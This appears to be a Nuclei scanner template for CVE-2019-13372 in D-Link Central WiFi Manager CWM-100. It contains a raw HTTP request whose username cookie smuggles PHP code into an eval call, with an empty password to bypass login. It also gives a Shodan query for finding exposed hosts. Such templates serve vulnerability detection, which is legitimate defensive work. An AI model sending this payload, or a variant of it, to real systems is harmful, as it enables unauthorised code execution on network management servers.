id: CVE-2019-13372

info:
  name: D-Link Central WiFi Manager CWM(100) - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    /web/Lib/Action/IndexAction.class.php in D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6 allows remote attackers to execute arbitrary PHP code via a cookie because a cookie's username field allows eval injection, and an empty password bypasses authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code via cookie manipulation, leading to complete compromise of the D-Link Central WiFi Manager and potential access to all managed WiFi networks.
  remediation: |
    Update D-Link Central WiFi Manager to version 1.03R0100_BETA6 or later.
  reference:
    - https://github.com/unh3x/unh3x.github.io/blob/master/_posts/2019-02-21-D-link-%28CWM-100%29-Multiple-Vulnerabilities.md
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10117
    - https://unh3x.github.io/2019/02/21/D-link-%28CWM-100%29-Multiple-Vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13372
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-13372
    cwe-id: CWE-94
    epss-score: 0.80682
    epss-percentile: 0.99575
    cpe: cpe:2.3:a:dlink:central_wifimanager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dlink
    product: central_wifimanager
    shodan-query: html:"D-Link Central WiFiManager"
  tags: cve,cve2019,d-link,wifimanager,vkev,vuln

variables:
  string: "{{rand_text_alpha(10)}}"

http:
  - raw:
      - |
        GET /index.php/Index/index HTTP/1.1
        Host: {{Hostname}}
        Cookie: username=',0,"",1,"0")%3becho%20"{{string}}"%3b//";password=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{string}}"
          - "/public/css/"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f3e78ef5c4f1ae42efc2cc1b9404da55b7d9400ed0d79a8385d4671c30d86a74022047138e910a4fb86cf1129a971e9de96ce2c20ab33bd027c01fc84d62d73d62f2:922c64590222798bb761d5b6d8e72950